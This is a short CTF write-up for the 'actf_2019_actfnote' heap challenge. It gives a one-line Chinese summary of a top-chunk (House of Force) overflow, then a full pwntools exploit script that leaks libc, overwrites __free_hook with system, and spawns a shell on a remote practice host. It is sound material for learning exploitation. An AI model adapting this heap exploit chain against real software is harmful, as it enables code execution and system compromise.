actf_2019_actfnote

思路

通过溢出将topchunk的位置向上提然后申请堆块即可完成一次任意地址写入
exp:

#!/usr/bin/python2
from pwn import *
#p=process('./ACTF_2019_ACTFNOTE')
p=remote('node3.buuoj.cn',26474)
elf=ELF('./ACTF_2019_ACTFNOTE')
libc=elf.libc

def add(size,name,content):
	p.sendlineafter('$ ','1')
	p.sendlineafter(': ',str(size))
	p.sendafter(': ',name)
	p.sendafter(': ',content)

def Tadd(size):
	p.sendlineafter('$ ','1')
	p.sendlineafter(': ',str(size))

def edit(idx,content):
	p.sendlineafter('$ ','2')
	p.sendlineafter(': ',str(idx))
	p.sendafter(': ',content)

def delete(idx):
	p.sendlineafter('$ ','3')
	p.sendlineafter(': ',str(idx))

def show(idx):
	p.sendlineafter('$ ','4')
	p.sendlineafter(': ',str(idx))
add(0x18,'c'*0x17+'\n','c'*4)
add(0x18,'\x00'*0x18,'d'*0x19)
add(0x18,'\x01'*0x18,'c'*4)
show(1)
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x8e364
log.success('libcbase: '+hex(libcbase))
system=libcbase+libc.sym['system']
free_hook=libcbase+libc.sym['__free_hook']
edit(2,p64(0)*3+'\xff'*8)
p.sendlineafter('$ ','1')
p.sendlineafter(': ',str(-240))
p.sendafter(': ',p64(free_hook))
edit(1,p64(system))
add(0x18,'aa','/bin/sh\x00')#4
delete(4)
p.interactive()